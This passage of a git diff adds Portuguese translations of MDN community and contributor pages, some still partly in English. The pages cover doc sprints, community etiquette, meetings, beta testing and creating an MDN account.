aos nossos encontros (e outros eventos)</h2> + +<p>A equipa da MDN realiza vários encontros regulares abertos para a comunidade MDN. Consulte a página de Encontros da MDN na <em>wiki</em> da Mozilla para obter detalhes dos agendamentos, agendas e notas, e informação sobre como participar.</p> + +<p>Consulte o calendário de <a href="https://calendar.google.com/calendar/embed?src=mozilla.com_2d35383434313235392d323530@resource.calendar.google.com" title="https://wiki.mozilla.org/MDN/Community_meetings">Eventos da MDN</a> (EN) para estes e outros encontros, local de encontros, e outros eventos.</p> + +<p>Se vir um encontro que ocorre no canal "mdn", no nosso sistema de videoconferência Vidyo, pode<a href="https://v.mozilla.com/flex.html?roomdirect.html&key=gMM1xZxpQgqiQFNkUR3eBuHgxg"> juntar-se à conversação na Web</a>.</p> diff --git a/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html b/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html new file mode 100644 index 0000000000..fcfaac9236 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html @@ -0,0 +1,125 @@ +--- +title: Doc sprints +slug: MDN/Comunidade/Doc_sprints +tags: + - Comunidade + - Guía + - Metadados MDN +translation_of: MDN/Community/Doc_sprints +--- +<div>{{MDNSidebar}}</div> + +<p>{{ draft() }}</p> + +<div class="note"> +<p><strong>Nota: </strong>a comunidade da MDN realizou frequentemente <em>sprints</em> de documentação durante o período de 2010 a 2013. A partir de 2014, estes eventos foram ampliados para os eventos "<a href="https://blog.mozilla.org/community/2015/04/17/a-highly-productive-hack-on-mdn-weekend-in-berlin/">Hack na MDN</a>" que incluem <em>hacking</em> de código, bem como projetos de documentação. A maioria dos conselhos abaixo aplicam-se igualmente aos <em>sprints</em> de "Hack" e <em>sprints</em> de documentação.</p> +</div> + +<p><span class="seoSummary">Este é um guia para organizar um <em>sprint</em> de documentação. Este contém conselhos e dicas de pessoas que organizaram os <em>sprints</em> de documentos, para ajudá-lo a organizar um também. Este guia também se baseia nas idéias do livro</span><a class="external" href="http://write.flossmanuals.net/book-sprints/introduction/" rel="external" title="http://write.flossmanuals.net/book-sprints/introduction/">FLOSS Manuals Book Sprints</a>.</p> + +<h2 id="O_que_é_um_sprint_de_documento">O que é um <em>sprint</em> de documento?</h2> + +<p>A doc sprint is a short period when a group of people come together, virtually or actually, to collaborate on writing documentation on a given topic or related topics.</p> + +<h2 id="Tipos_de_sprints">Tipos de <em>sprints</em></h2> + +<p>Sprints can be virtual or in-person, or some combination. For a virtual sprint, everyone participates from wherever they happen to be located, communicating solely through mediated channels. For an in-person sprint, participants gather in the same location for the duration of the sprint, so that they can communicate face-to-face. Hybrid sprints can be mostly-in-person with some remote participants, or mostly-virtual with some local gatherings. In-person sprints require more logistical planning, to secure a meeting location, to get everybody there, and to house and feed them during the sprint.</p> + +<p>Another way to categorize sprints is by topical focus. For example, a sprint might focus on a particular subject area, such as Web development, or translation into a particular language.</p> + +<h2 id="Planear_um_sprint">Planear um <em>sprint</em></h2> + +<h3 id="Determinar_os_objetivos">Determinar os objetivos</h3> + +<p>Have a clear idea of what the goals are for the sprint, for both content and community. This helps drive your planning of lower-level details.</p> + +<ul> + <li>Do you want to document a particular topic area?</li> + <li>Do you want to create a particular type of documents or resources? For example, tutorials, code examples, or translations in a particular language.</li> + <li>Do you want to attract new people to contribute to MDN?</li> + <li>Do you want to increase cohesion among existing community members?</li> +</ul> + +<h3 id="Decidir_o_tipo_e_âmbito">Decidir o tipo e âmbito</h3> + +<p>Based on your goals, decide on the type of sprint (virtual, in-person, or combination) and the scope (what participants will focus on).</p> + +<p>For example, if you want to attract new community members, a local in-person sprint would be a good choice, because no travel is involved, but participants get to meet each other. If you want to focus on a specific subject area, where the content contributors are geographically distributed, and already know each other, then a virtual sprint may make sense.</p> + +<h3 id="Escolher_datas_e_horas">Escolher datas e horas</h3> + +<p>For in-person sprints that require travel, we've found that three days (such as two weekend days and a weekday) is enough time to get some significant work done, without taking too much time away from everyone's normal lives. For public, local, in-person sprints, one day is the most you can expect most people to commit. For virtual sprints, we typically run for two days: a weekday and a weekend day. As an alternative example, in the past there has been mini-sprint for writing and translating docs, every Wednesday evening in the Mozilla Paris office; it was primarily in-person for locals, but also got remote participation from Montreal (where it was at lunch time).</p> + +<p>Attaching a sprint to the end of a conference that everyone attended worked well; trying to run a sprint <em>during</em> a conference that everyone attended did not work so well. Make sure that participants know about the sprint when they make their conference plans, so that they allow extra days for the sprint.</p> + +<p>Consider the time zones that virtual participants are in; be sure that you allow enough working time in each time zone, and have some overlap when multiple zones (such as Europe and Americas, or Americas and Asia) are awake. However, it's just reality that no one time is good for everyone everywhere.</p> + +<p>For virtual sprints, the dates can be set as little as 2-3 weeks in advance. For in-person sprints, you need to decide further in advance, in order to allow time for people to decide and make travel arrangements.</p> + +<h3 id="Promoter_o_sprint">Promoter o <em>sprint</em></h3> + +<p>You can make the sprint open, and invite the world, but you should have a few key people that you know for sure will participate. Work with them when selecting dates, to ensure that they are available during the chosen dates. If the sprint is not open, then you need only extend invitations; make sure that each invitation is personal, explaining why that person has been specificallly invited.</p> + +<p>For public sprints, identify existing groups that have an interest in the topic, for example: local Web developer meetup groups for a local in-person sprint. Send an announcement through whatever channel is appropriate for that group. Be sure to provide a link to a web page with more details, and include a call-to-action for people to sign up for the sprint. <a href="https://www.eventbrite.com/" title="https://www.eventbrite.com/">Eventbrite </a>and <a href="http://lanyrd.com" title="http://lanyrd.com">Lanyrd</a> are two services that support sign-ups. For Mozilla developer events, we have found that about half the people who sign up actually show up.</p> + +<p>Use the social media channels that are appropriate to reach your target attendees. We have found that for Web developers, this means Twitter, followed by Google Plus, more than Facebook or LinkedIn. However, popular channels can vary geographically (such as Orkut in Brazil). Reach out to a few well-connected people who have a large following among your target audience, and ask them to re-share your posts.</p> + +<h3 id="Logística_para_sprints_em_pessoa">Logística para <em>sprints</em> em pessoa</h3> + +<p>Logistics for in-person sprints are greater for longer sprints and those where sprinters travel to attend. A short or locals-only sprint need relatively little logistical support.</p> + +<h4 id="Orçamento_e_financiamento">Orçamento e financiamento</h4> + +<p>You need to figure out how much the event is going to cost, and where the money is going to come from.</p> + +<p>Costs to consider in your budget include:</p> + +<ul> + <li>Travel</li> + <li>Lodging</li> + <li>Food</li> + <li>Meeting space</li> +</ul> + +<p>Some of these costs can be self-funded by participants, meaning that they pay for their own costs. There are a variety of ways to save money, which are mentioned in the following sections.</p> + +<p>It may be possible to get sponsorship from Mozilla to fund some of the costs of your event. It helps to have a clear focus for your event, and a specific plan and budget. If there is a <a href="https://reps.mozilla.org/people/#/">Mozilla Rep</a> in your area, work with them to request budget and swag through the Reps program. Otherwise, you can submit a <a href="https://bugzilla.mozilla.org/form.dev-engagement-event">developer events request</a> in Bugzilla.</p> + +<dl> + <dt>Ponto de encontro</dt> + <dd>There are lots of options for meeting space. If you are in a city with a Mozilla office, you can use the community space in that office. Elsewhere, options include meeting rooms in libraries, churches, coffee shops, or businesses where you have contacts. Many cities now have coworking spaces that rent their conference rooms for a reasonable fee.</dd> + <dt>Recursos</dt> + <dd>Be sure that your venue has good chairs and tables, and reliable power and Internet access. Sitting all day on a bad chair is not just uncomfortable; it can lead to injury. Make sure that the number of sprinters and their computers and devices does not overwhelm the power supply and available Internet bandwidth. Be generous (but not dangerous) with extension cords, and if necessary, international plug adapters. A projector for shared viewing can be very helpful. Whiteboards and sticky notes are great for brainstorming and planning.</dd> + <dt>Viagens</dt> + <dd>Travel is relevant only if the sprinters do not all live close to the sprint venue. The usual strategies for saving on travel apply, and are not specific to doc sprints.</dd> + <dt>Acomodação</dt> + <dd>Where sprinters stay should not be inconveniently far from the meeting venue. It can be cheaper (and possibly more fun) to split the cost of a vacation house or flat, rather than paying for individual hotel rooms. If you have a mix of visitors and (willing) locals, the visitors can stay in the homes of local community members.</dd> + <dt>Alimentação</dt> + <dd>Sprinters need to eat! Make arrangements for food during the sprint, and inform sprinters if certain meals will not be arranged. If the group is staying in a home, you can save money by buying and cooking food rather than going out to eat. Even if food is self-funded, it can reduce hassle to pitch into a common fund for food, rather than splitting every restaurant bill. If your venue allows, have snacks (some healthy and some not) available between meals.</dd> + <dt>Diversão</dt> + <dd>Make time for non-writing social activities. These can be informal, like going for a hike together, or more formal, like a tourist excursion. Going out for beer (at the end of the day, of course) is usually a winner. On the other hand, don't plan every hour of every day. Everybody needs some down time, especially introverts.</dd> +</dl> + +<h2 id="Durante_o_sprint">Durante o <em>sprint</em></h2> + +<h3 id="Planear_o_trabalho">Planear o trabalho</h3> + +<p> </p> + +<h3 id="Monitorizar_tarefas">Monitorizar tarefas</h3> + +<p>Have a way to track what tasks need to be worked on, who is doing what, and what has been completed. For MDN doc sprints, we use a wiki page for advance planning, and an etherpad for tracking work during the sprint.</p> + +<p>Often, people want to help but don't know where to start, and deciding among many options takes too much mental effort. For any given participant, give them a couple of possible tasks ("you could do A, or B"); this simplifies their choice, without making them feel like they're being bossed around.</p> + +<h3 id="Colaboração">Colaboração</h3> + +<p>One of the benefits of in-person sprints is that people can work together in ways that they might not be able to when they're not in the same place, for example, by working out ideas together on a whiteboard or by brainstorming with sticky notes. Still, there are opportunities for collaboration and camaraderie in any type of sprint. Chatting via IRC is essential for virtual sprints, and still very helpful for in-person sprints (for example, for sharing links). For a greater sense of "virtual presence", consider using a video conferencing service, such as Google Hangout.</p> + +<p>As an organizer, look for common interests among the participants and for ways that they can work together.</p> + +<h3 id="Celebrar_realizações">Celebrar realizações</h3> + +<p>Be sure to take time to celebrate accomplishments at the end of the sprint. This gives participants a better feeling than when the sprint just ends without any summary. If possible, have people "demo" what they have done, even if it is just showing a new article page.</p> + +<p>Also, share the sprint accomplishments via a blog post, to celebrate publicly as well. This is important for any kind of sprint, but especially for virtual sprints, where the participants might not all be online at the official end of the sprint for a wrap-up session.</p> diff --git a/files/pt-pt/orphaned/mdn/community/index.html b/files/pt-pt/orphaned/mdn/community/index.html new file mode 100644 index 0000000000..1969fd94e1 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/community/index.html @@ -0,0 +1,56 @@ +--- +title: Aderir à Comunidade da MDN +slug: MDN/Comunidade +tags: + - Comunidade + - Guía + - Landing + - Metadados MDN +translation_of: MDN/Community +--- +<div>{{MDNSidebar}}</div> + +<div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div> + +<div class="summary"> +<p>Os <strong>Documentos da Web<em> </em>da MDN</strong> é mais do que uma <em>wiki</em>:</p> + +<p>É uma comunidade de programadores a trabalhar em conjunto para tornar a MDN num recurso marcante para os programadores que utilizam as tecnologias abertas da Web.</p> +</div> + +<p>Nós adoraríamos se contribuísse para a MDN, mas nós ainda iríamos adorar mais se participasse na comunidade da MDN. Aqui tem como ligar-se, em três passos fáceis:</p> + +<ol> + <li><a href="/pt-PT/docs/MDN/Contribute/Howto/Criar_uma_conta_MDN">Criar uma conta na MDN</a>.</li> + <li><a href="/pt-PT/docs/MDN/Comunidade/Conversações">Juntar-se às conversações</a>.</li> + <li><a href="/pt-PT/docs/MDN/Comunidade/O_que_está_a_acontecer">Seguir o que está a acontecer</a>.</li> +</ol> + +<h2 id="Como_é_que_a_comunidade_funciona">Como é que a comunidade funciona</h2> + +<p>O seguinte são mais artigos que descrevem a comunidade da MDN.</p> + +<div class="row topicpage-table"> +<div class="section"> +<dl> + <dt class="landingPageList"><a href="/pt-PT/docs/MDN/Comunidade/Funcoes">Regras da comunidade</a></dt> + <dd class="landingPageList">Há várias funções dentro da comunidade da MDN que possuem responsabilidades específicas.</dd> + <dt class="landingPageList"><em><a href="/pt-PT/docs/MDN/Comunidade/Doc_sprints">Doc sprints</a></em></dt> + <dd class="landingPageList">Este é um guia para organizar um <em>sprint</em> de documentação. Este contém conselhos e dicas de pessoas que organizaram <em>sprints</em> de documentos, para ajudá-lo a organizar um também.</dd> + <dt class="landingPageList"><a href="/pt-PT/docs/MDN/Comunidade/O_que_está_a_acontecer">Seguir o que está a acontecer</a></dt> + <dd class="landingPageList">A MDN é trazida para si pela <a class="external" href="https://wiki.mozilla.org/MDN">comunidade da Rede de Desenvolviemtno da Mozilla</a>. Aqui tem algumas maneiras, e assim nós partilhamos a informação sobre o que estamos a fazer.</dd> +</dl> + +<dl> +</dl> +</div> + +<div class="section"> +<dl> + <dt class="landingPageList"><a href="/pt-PT/docs/MDN/Comunidade/Conversações">Conversações da comunidade da MDN</a></dt> + <dd class="landingPageList">O "trabalho" da MDN acontece no site da MDN, mas a "comunidade" também acontece através de discussões (assíncronas) e conversação e reuniões on-line (síncrono).</dd> + <dt class="landingPageList"><a href="/pt-PT/docs/MDN/Comunidade/Trabalhar_em_comunidade">Trabalhar em comunidade</a></dt> + <dd class="landingPageList">Uma parte importante da contribuição para a documentação da MDN em qualquer escala significativa é saber como trabalhar como parte da comunidade da MDN. Este artigo oferece dicas para ajudá-lo a aproveitar ao máximo as interações com os outros escritores e com as equipas de desenvolvimento.</dd> +</dl> +</div> +</div> diff --git a/files/pt-pt/orphaned/mdn/community/whats_happening/index.html b/files/pt-pt/orphaned/mdn/community/whats_happening/index.html new file mode 100644 index 0000000000..6f53451020 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/community/whats_happening/index.html @@ -0,0 +1,42 @@ +--- +title: Seguir o que está a acontecer +slug: MDN/Comunidade/O_que_está_a_acontecer +tags: + - Comunidade + - Guia(2) + - Metadados MDN + - Principiante +translation_of: MDN/Community/Whats_happening +--- +<div>{{MDNSidebar}}</div><p>MDN is brought to you by the <a href="https://wiki.mozilla.org/MDN">Mozilla Developer Network community</a>. Here are some ways to that we share information about what we're doing.</p> + +<h2 id="Blogues">Blogues</h2> + +<dl> + <dt><a href="https://hacks.mozilla.org/" title="https://hacks.mozilla.org/">Mozilla Hacks</a></dt> + <dd>News about and in-depth coverage of Web and Mozilla technologies and features.</dd> + <dt><a href="https://blog.mozilla.org/community/category/developer-engagement/">Engaging Developers</a></dt> + <dd>Promoting activity and discussion amongst the community involved in MDN at Mozilla.</dd> +</dl> + +<h2 id="Emissões_de_ephemera">Emissões de ephemera</h2> + +<ul> + <li><a href="https://twitter.com/mozhacks" title="https://twitter.com/mozhacks"><span id="cke_bm_286S" style="display: none;"> </span></a><a href="http://twitter.com/MozDevNet">@MozDevNet</a>: Curated feed of new pages, significant updates, and other news about Mozilla Developer Network.</li> + <li><a href="https://twitter.com/mozhacks" title="https://twitter.com/mozhacks">@MozHacks</a>: Tweets about new web technologies, great HTML5 apps, and Firefox features.</li> + <li><a href="http://www.youtube.com/user/mozhacks" title="http://www.youtube.com/user/mozhacks">Mozilla Hacks (YouTube)</a></li> +</ul> + +<h2 id="Estado_das_informações_e_painéis">Estado das informações e painéis</h2> + +<p>The MDN documentation team maintains a <a href="https://trello.com/b/HAhl54zz/status">Trello board</a> on which our projects are tracked. This board is read-only but will let you see what's being worked on and what we hope to do soon, and may help you figure out where you can help. <a href="/en-US/docs/MDN/Contribute/Community/Trello">This article</a> explains how this board is used.</p> + +<p>In addtion, take a look at the <a href="/en-US/docs/MDN/Doc_status">Documentation status</a> pages to see what's going on across the full breadth of MDN content. You'll be able to see what articles need to be written or updated, what topics need the most help, and much, much more.</p> + +<h2 id="Encontros_da_MDN">Encontros da MDN</h2> + +<p>There are a number of regular meetings for tracking and sharing progress on various MDN-related projects and processes. These are described on the <a href="https://wiki.mozilla.org/MDN/Meetings">MDN meetings wiki page</a>.</p> + +<p>To get a general sense of what's happening, the best meeting to attend is the MDN Community meeting, which occurs every two weeks on Wednesdays, 10:00 US Pacific time (UTC-0800 October-March, UTC-0700 in March-October), in the <a href="irc://irc.mozilla.org/mdn" title="irc://irc.mozilla.org/devmo">#mdn</a> <a href="http://wiki.mozilla.org/IRC" title="http://wiki.mozilla.org/IRC">IRC</a> channel. See the <a href="https://wiki.mozilla.org/MDN/Meetings/Community" title="https://wiki.mozilla.org/MDN/Community_meetings">MDN community meetings</a> wiki page for agendas and notes from past meetings.</p> + +<p>The <a class="external text" href="https://www.google.com/calendar/embed?src=mozilla.com_2d35383434313235392d323530%40resource.calendar.google.com" rel="nofollow">Public MDN Events</a> calendar contains MDN community meetings, doc sprints, and other MDN-related events.</p> diff --git a/files/pt-pt/orphaned/mdn/community/working_in_community/index.html b/files/pt-pt/orphaned/mdn/community/working_in_community/index.html new file mode 100644 index 0000000000..f2c9116d03 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/community/working_in_community/index.html @@ -0,0 +1,102 @@ +--- +title: Trabalhar em comunidade +slug: MDN/Comunidade/Trabalhar_em_comunidade +translation_of: MDN/Community/Working_in_community +--- +<div>{{MDNSidebar}}</div> + +<p>TA major part of contributing to MDN documentation on any significant scale is knowing how to work as part of the MDN community. This article offers tips to help you make the most of your interactions with both other writers and with development teams.</p> + +<h2 id="Guias_gerais_de_etiqueta">Guias gerais de etiqueta</h2> + +<p>Here are some general guidelines for conduct when working in the Mozilla community.</p> + +<ul> + <li>Be polite! Even in disagreement, we all have the same mission: the betterment of the Web.</li> + <li>Ask, don't demand. People are far more likely to be helpful and responsive when you politely request help rather than demand it. While the documentation work is important, and our development community knows it, human instinct tends to cause people to be abrasive and difficult if you don't treat them with due respect.</li> + <li>Balance your need for information with the urgency of the documentation and the time the others in your discussion have to devote to helping you. Don't keep pushing for more and more details if it's not absolutely necessary right away, to the point of driving the others involved in the conversation crazy.</li> + <li>Keep in mind that your request takes valuable time from the people you're contacting, so be sure to use their time well.</li> + <li>Be considerate of cultural differences. Mozilla is a multinational and multicultural team, so when talking to someone whose culture is, or may be, different from your own, be sure to keep that in mind while communicating.</li> + <li>Start a new conversation instead of highjacking an existing conversation. Don't inject your questions into an unrelated conversation just because the people you need to talk to are paying attention to it. While convenient for you, this can irritate the people you're trying to talk to, and result in a less than ideal outcome.</li> + <li>Avoid {{interwiki("wikipedia", "bikeshedding")}}. Don't let your enthusiasm become annoying pedantry. It makes conversations cumbersome and unfocused.</li> +</ul> + +<h2 id="Seja_delicado">Seja delicado</h2> + +<p>Always be tactful and respectful when communicating with others.</p> + +<h3 id="Politely_pointing_out_mistakes">Politely pointing out mistakes</h3> + +<p>If your purpose in contacting someone is to ask them to do something differently, or to point out a mistake they've been making (especially if they repeatedly do it), start your message with a positive comment. This softens the blow, so to speak, and it demonstrates that you're trying to be helpful, rather than setting you up as the bad guy.</p> + +<p>For example, if a new contributor has been creating lots of pages without tags, and you'd like to point out this problem, your message to them might look like this (the stuff you'd need to change for each case us underlined):</p> + +<blockquote> +<p>Hi, <u>MrBigglesworth</u>, I've been noticing your contributions to <u>the Wormhole API documentation</u>, and it's fantastic to have your help! I particularly like <u>the way you balanced your level of detail with readability</u>. That said, though, you could make these articles even better and more helpful if you <u>added the correct tags to the pages</u> as you go.</p> + +<p><u>See the MDN tagging guide (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag) for details.</u></p> + +<p>Thanks again, and I look forward to your future contributions!</p> +</blockquote> + +<h2 id="Partilhar_conhecimento">Partilhar conhecimento</h2> + +<p>As you participate in the MDN project, it's useful to know what's going on, and to interact with other members of our community. By talking with others in our community, you can get—and share—ideas, status updates, and more. We also have tools and informational resources that can help you know what's being done, by whom.</p> + +<h3 id="Communication_channels">Communication channels</h3> + +<p>There are several ways you can engage with community members (either developers or writers), each of which has some of its own particular rules of etiquette.</p> + +<h4 id="Bugzilla">Bugzilla</h4> + +<p>When writing documentation to cover changes implemented as a result of a bug in Bugzilla, you'll often interact with people involved in those bugs. Be sure to keep the <a href="https://bugzilla.mozilla.org/page.cgi?id=etiquette.html" title="https://bugzilla.mozilla.org/page.cgi?id=etiquette.html">Bugzilla Etiquette</a> guide in mind at all times!</p> + +<h4 id="Correio_eletrónico">Correio eletrónico</h4> + +<p>Sometimes, a private email exchange between you and one or more other people is the way to go, if you have their email address.</p> + +<div class="note"> +<p><strong>Note:</strong> As a general rule, if someone has posted their email address on documents about the technology you're documenting, has given you their email address personally, or generally has a well-known email address, email is an acceptable "first contact" approach. If you have to dig for it, you probably should try to get permission in IRC or a mailing list first, unless you've exhausted all other attempts at getting in touch.</p> +</div> + +<h3 id="Ferramentas_de_estado_de_conteúdo">Ferramentas de estado de conteúdo</h3> + +<p>We have several useful tools that provide information about the status of documentation content.</p> + +<dl> + <dt><a href="/dashboards/revisions">Revision dashboard</a></dt> + <dd>The revision dashboard provides a fantastic tool to review changes made to MDN content. You can see recent history, choose a range of time to view, and filter based on things like locale, contributor's name, and topic. Once you're looking at a set of revisions, you can view the changes made in each revision, quickly open the page, see a full history, or even revert the changes (if you have those privileges).</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">Documentation status overview</a></dt> + <dd>Our <a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">documentation status overview</a> page provides a list of all the areas of MDN that have been configured for status tracking, with information about how many pages therein need different types of work done. Click through to a particular topic area to see detailed lists of content that needs work, such as pages that have no tags, or are tagged with indicators that certain types of work need to be done. You can even see lists of pages that haven't been updated in a long time and may be out of date, as well as a list of bugs that have been flagged as impacting the documentation in that area.</dd> + <dt><a href="/en-US/docs/MDN/Plans">Documentation project plans</a></dt> + <dd>We have a number of writing projects that are in the planning stages, or are large and ongoing, for which we have written planning documents to help us keep track of what we need to get done.</dd> + <dt><a href="https://tree.taiga.io/project/viya-mdn-durable-team">MDN Taiga</a></dt> + <dd>The MDN staff writers use a tool called Taiga to manage current and future documentation projects. You can take a look to see what we're doing and how it's going, and you can see what projects we'd like to see happen soon. Some of those will be taken on by staff writers, but you should feel free to take one over if you like! For more information about the agile processes followed by the MDN team, see our <a href="https://wiki.mozilla.org/Engagement/MDN_Durable_Team/Processes">Process page on the Mozilla wiki</a>.</dd> +</dl> + +<h2 id="A_comunidade_de_desenvolvimento">A comunidade de desenvolvimento</h2> + +<p>Possibly the most important relationships to develop and maintain, as a member of the MDN writing community, are those you develop and sustain with the developers. They create the software we're developing, but they're also the most useful source of information we have. It's crucial that we maintain good relations with developers—the more they like you, the more likely they are to answer your questions quickly, accurately, and thoroughly!</p> + +<p>In addition, you represent the MDN writing community. Please help ensure we keep our excellent working relationship with the dev team by making every interaction they have with the writing team be a good one.</p> + +<p>On a related note, a great way to find the right person to talk to is to look at the <a href="https://wiki.mozilla.org/Modules">module owners lists</a>.</p> + +<h2 id="A_comunidade_de_escrita">A comunidade de escrita</h2> + +<p>The writing community is a large one. While the number of extremely frequent, or large-scale contributors is relatively small, there are many dozens or hundreds of people who contribute at least now and then. Fortunately, these are by and large awesome people with a genuine love of the Web, Mozilla, and/or documentation, and interacting with them is almost always pretty easy.</p> + +<p>See the article <a href="/en-US/docs/MDN/Community" title="/en-US/docs/Project:MDN/Contributing/Join_the_community">Join the community</a> for more information about the MDN community.</p> + +<p>The most frequent place you'll directly interact with other writers is in the {{IRCLink("mdn")}} channel on IRC. This channel is specifically reserved for discussing documentation. For IRC-specific etiquette tips, see the Mozilla Support article "<a href="https://quality.mozilla.org/docs/misc/getting-started-with-irc/" title="https://quality.mozilla.org/docs/misc/getting-started-with-irc/">Getting Started with IRC</a>." You'll also have discussions with us on the <a href="https://discourse.mozilla-community.org/c/mdn">MDN discussion forum</a>. In general, IRC tends to be used for quick, more in-person-like discussions, while the discussion forum is typically used for longer-duration conversation.</p> + +<p>By keeping in mind the {{anch("General etiquette guidelines")}}, you'll find that usually things go very smoothly.</p> + +<h2 id="Consultar_também">Consultar também</h2> + +<ul> + <li><a href="/en-US/docs/Project:MDN/Contributing" title="/en-US/docs/Project:MDN/Contributing">Contributing to MDN</a></li> + <li><a href="/en-US/docs/Project:MDN/Contributing/Join_the_community" title="/en-US/docs/Project:MDN/Contributing/Join_the_community">MDN community</a></li> + <li><a href="http://matt.might.net/articles/how-to-email/" title="http://matt.might.net/articles/how-to-email/">How to send and reply to email</a></li> + <li><a href="http://blog.gerv.net/2012/10/how-to-be-a-mozillia/">How to be a Mozillian</a></li> +</ul> diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html new file mode 100644 index 0000000000..ec68693a32 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html @@ -0,0 +1,52 @@ +--- +title: Como participar nos testes "beta" +slug: MDN/Contribute/Howto/Participar_testes_beta +tags: + - MDN Meta + - Metadados MDN +translation_of: MDN/Contribute/Howto/Be_a_beta_tester +--- +<div>{{MDNSidebar}}</div><p>De vez em quando, à medida que os programadores da plataforma Kuma da MDN fazem alterações no site, nós oferecemos acesso antecipado a essas novas funcionalidades aos membros que optaram por participar nos testes "beta". Como é típico com qualquer teste "beta", as funcionalidades podem não funcionar corretamente em algumas situações.</p> + +<h2 id="Participar_nos_testes_beta">Participar nos testes "beta"</h2> + +<ol> + <li>Depois de iniciar a sessão na MDN, clique no seu nome de utilizador na barra de navegação no topo.<br> + <img alt="Shows location of the user's profile link in the top navigation" src="https://mdn.mozillademos.org/files/15099/profile_link.png" style="box-shadow: 2px 2px 7px 1px #9e9e9e; height: 59px; width: 383px;"><br> + This takes you to your profile page.</li> + <li>Clique no botão "<strong>Edit</strong>".<br> + <img alt="Shows location of the button to edit a user's profile (which may vary depending on window dimensions" src="https://mdn.mozillademos.org/files/15093/profile_edit_link.png" style="box-shadow: 2px 2px 7px 1px #9e9e9e; height: 144px; width: 387px;"><br> + This opens the profile page in edit mode.</li> + <li>Selecione a caixa para <em><strong>Beta tester</strong></em>.<br> + <img alt="Shows the location of the Beta Tester checkbox" src="https://mdn.mozillademos.org/files/15095/profile_beta_checkbox.png" style="box-shadow: 2px 2px 7px 1px #9e9e9e; height: 139px; width: 305px;"></li> + <li>Clique no botão "<strong>Publicar" </strong>no fim da página de perfil.<br> + <img alt="Shows the location of the Publish button on a user's profile page" src="https://mdn.mozillademos.org/files/15097/profile_publish_button.png" style="box-shadow: 2px 2px 7px 1px #9e9e9e; height: 218px; width: 477px;"></li> +</ol> + +<h2 id="Cancelar_participação_nos_testes_beta">Cancelar participação nos testes "beta"</h2> + +<ol> + <li>While logged in to MDN, click your user name in the top navigation bar. This takes you to your profile page.</li> + <li>Click the <strong>Edit</strong> button. This opens the profile page in edit mode.</li> + <li>Clear the checkbox for <strong>Beta tester</strong>.</li> + <li>Click the <strong>Publish</strong> button.</li> +</ol> + +<h2 id="Dê_a_sua_opiniãocomentário_sobre_os_testes_beta">Dê a sua opinião/comentário sobre os testes "beta"</h2> + +<p>There are two ways you can give feedback about a beta test:</p> + +<ul> + <li>Share qualitative feedback on the MDN discussion forum. Add a post to the <a href="https://discourse.mozilla-community.org/t/beta-redesign-feedback/16544">Beta feedback thread</a>. Or,</li> + <li>File a bug, using the following steps:</li> +</ul> + +<ol> + <li><a href="https://bugzilla.mozilla.org/createaccount.cgi">Create an account on Bugzilla</a> if you don't already have one.</li> + <li>Open a <a href="https://bugzilla.mozilla.org/form.mdn#h=detail%7Cbug">bug report in Bugzilla for MDN</a>.</li> + <li>Include the word "beta" in the Summary field to help MDN developers filter and triage incoming bugs.</li> + <li>Fill out the bug report form to the best of your ability. Be as detailed as possible.</li> + <li>Click the <strong>Submit</strong> button.</li> +</ol> + +<p> </p> diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html new file mode 100644 index 0000000000..058456953e --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html @@ -0,0 +1,41 @@ +--- +title: Como criar uma conta MDN +slug: MDN/Contribute/Howto/Criar_uma_conta_MDN +tags: + - Como + - Documentação + - Guía + - Metadados MDN + - Principiante +translation_of: MDN/Contribute/Howto/Create_an_MDN_account +--- +<div>{{MDNSidebar}}</div> + +<p><span class="seoSummary">Para editar conteúdo na MDN precisa de um perfil MDN. Não precisa de um perfil se só pretende ler e pesquisar documentos na MDN. Este guia irá ajudá-lo a configurar o seu perfil na MDN.</span></p> + +<div class="standardSidebar" style="width: 280px;"><strong>Porque é que a MDN precisa do meu endereço de e-mail?</strong><br> +<br> +O seu endereço de e-mail é utilizado para a recuperação da conta e, se necessário, pelos administradores da MDN para o contactar sobre a sua conta ou atividade no site.<br> +<br> +Adicionalmente, pode registar-se para receber notificações (tais como, <a href="/pt-PT/docs/MDN/Contribute/Tools/Vigiar_pagina">quando são alteradas páginas especificas</a>) e mensagens (por exemplo, se optar por aderir à nossa equipa de testes beta, poderá receber mensagens sobre as novas funcionalidades que precisam de ser testadas).<br> +<br> +O seu endereço de e-mail nunca é exibido na MDN e será utilizado apenas de acordo com a nossa <a href="https://www.mozilla.org/privacy/websites/">politica de privacidade</a> (EN).</div> + +<div class="note">Se iniciou a sessão na MDN via GitHub, e utiliza um endereço de e-mail "não responder" no GitHub, <em>não irá receber</em> mensagens (incluindo as notificações quando subecrever páginas) na MDN.</div> + +<ol> + <li>No topo de cada página na MDN irá encontrar um botão nomeado "Iniciar sessão". Clique com o seu rato (ou toque no mesmo, se estiver a utilizar um dispositivo móvel) para exibir uma lista de serviços de autenticação que nós suportamos para iniciar a sessão na MDN.</li> + <li>Selecione um serviço para iniciar a sessão. Atualmente, apenas está disponível o GitHub. Note que se selecionar o GitHub, será incluída uma hiperligação para o seu perfil do GitHub na página pública do seu perfil da MDN.</li> + <li>Siga os avisos do GitHub para entrar na sua conta MDN.</li> + <li>Assim que o serviço de autenticação volta para o seu MDN, ser-lhe-á pedido para inserir um nome de utilizador e um endereço de e-mail<strong>. </strong><em>O seu nome de utilizador será exibido publicamente para creditar o seu trabalho realizado. Não utilize o seu endereço de e-mail como o seu nome de utilizador</em><strong>.</strong></li> + <li>Clique em <strong>Criar o meu perfil MDN</strong>.</li> + 